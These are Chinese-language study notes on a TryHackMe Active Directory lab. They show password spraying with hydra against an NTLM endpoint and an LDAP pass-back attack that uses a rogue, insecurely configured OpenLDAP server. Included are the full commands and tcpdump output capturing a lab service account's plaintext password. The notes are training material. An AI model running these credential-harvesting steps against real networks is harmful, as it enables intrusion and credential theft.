OSINT 和 网络钓鱼
我们可以利用 OSINT 和网络钓鱼来收集用户密码
NetNTLM
在 NetNTLM 中我们可以使用收集到的密码或用户进行暴力攻击,以此来获取用户的密码,举一个例子:
hydra -I -V -L ./usernames.txt -p 'Changeme123' ntlmauth.za.tryhackme.com http-get '/:A=NTLM:F=401'
LDAP Bind Credntials
LDAP 回传攻击
这是一种针对网络设备 (打印机) 的常见攻击。
当我们获得对指定 LDAP 参数的设备配置的访问权限时,可以执行 LDAP 回传攻击。例如,这可以是网络打印机的 Web 界面。通常,这些接口的凭据保留为默认凭据,例如admin:admin或admin:password。在这里,我们将无法直接提取 LDAP 凭据,因为密码通常是隐藏的。但是,我们可以更改 LDAP 配置,例如 LDAP 服务器的 IP 或主机名。在 LDAP 回传攻击中,我们可以将此 IP 修改为我们的 IP,然后测试 LDAP 配置,这将强制设备尝试对我们的恶意设备进行 LDAP 身份验证。我们可以拦截此身份验证尝试以恢复 LDAP 凭据。执行 LDAP 回传攻击
响应supportedCapabilities告诉我们有问题。本质上,在打印机发送凭据之前,它会尝试协商 LDAP 身份验证方法的详细信息。它将使用此协商来选择打印机和 LDAP 服务器都支持的最安全的身份验证方法。如果身份验证方法过于安全,则不会以明文形式传输凭据。使用某些身份验证方法,凭据根本不会通过网络传输!所以我们不能只使用普通的 Netcat 来获取凭据。我们需要创建一个流氓 LDAP 服务器并对其进行不安全的配置,以确保凭据以明文形式发送。
[thm@thm]$ nc -lvp 389
listening on [any] 389 ...
10.10.10.201: inverse host lookup failed: Unknown host
connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
0?DC?;
?
?x
objectclass0?supportedCapabilities
托管恶意 LDAP 服务器
我们应该先安装自己的 OpenLDAP 服务器:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
然后我们创建一个 ldif 文件用户配置 LDAP 服务器:
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
使用我们的配置文件配置 LDAP 服务器:
- olcSaslSecProps:指定 SASL 安全属性
- noanonymous:禁用支持匿名登录的机制
- minssf:指定可接受的最小安全强度,0表示不保护。
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
验证:
[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
验证成功后我们开始捕捉:
[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76
0x0000: 4500 0074 b08c 4000 8006 20e2 0a0a 0ac9 E..t..@.........
0x0010: 0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2 ...9........BW..
0x0020: 5018 2014 1382 0000 3084 0000 0046 0201 P.......0....F..
0x0030: 0263 8400 0000 3d04 000a 0100 0a01 0002 .c....=.........
0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object
0x0050: 636c 6173 7330 8400 0000 1904 1773 7570 class0.......sup
0x0060: 706f 7274 6564 5341 534c 4d65 6368 616e portedSASLMechan
0x0070: 6973 6d73 isms
10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0
0x0000: 4500 0028 247d 4000 4006 ed3d 0a0a 0a39 E..($}@.@..=...9
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5010 01f6 2930 0000 P...)0..
10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54
0x0000: 4500 005e 247e 4000 4006 ed06 0a0a 0a39 E..^$~@.@......9
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5018 01f6 2966 0000 3034 0201 0264 2f04 P...)f..04...d/.
0x0030: 0030 2b30 2904 1773 7570 706f 7274 6564 .0+0)..supported
0x0040: 5341 534c 4d65 6368 616e 6973 6d73 310e SASLMechanisms1.
0x0050: 0405 504c 4149 4e04 054c 4f47 494e ..PLAIN..LOGIN
[....]
10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0
0x0000: 4500 0028 b092 4000 8006 2128 0a0a 0ac9 E..(..@...!(....
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5010 2014 0ae4 0000 0000 0000 0000 P.............
10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65
0x0000: 4500 0069 b093 4000 8006 20e6 0a0a 0ac9 E..i..@.........
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5018 2014 3afe 0000 3084 0000 003b 0201 P...:...0....;..
0x0030: 0560 8400 0000 3202 0102 0418 7a61 2e74 .`....2.....za.t
0x0040: 7279 6861 636b 6d65 2e63 6f6d 5c73 7663 ryhackme.com\svc
0x0050: 4c44 4150 8013 7472 7968 6163 6b6d 656c LDAP..password11
TryHackMe | Breaching Active Directory
中间人攻击
:::tips 我们使用 SMB 举例:
两种不同的利用 SMB 进行 NetNTLM 身份验证的方法:- 由于NTLM Challenges可以被拦截,我们可以使用离线破解技术来恢复与NTLM Challenge相关的密码。然而,这个破解过程比直接破解 NTLM 哈希要慢得多。
- 我们可以使用我们的流氓设备进行中间人攻击,在客户端和服务器之间中继 SMB 身份验证,这将为我们提供一个活动的身份验证会话和对目标服务器的访问。
:::
我们可以使用 Responder 进行中间人攻击,详情请看原文:TryHackMe | Breaching Active Directory
MDT
配置文件
TryHackMe | Breaching Active Directory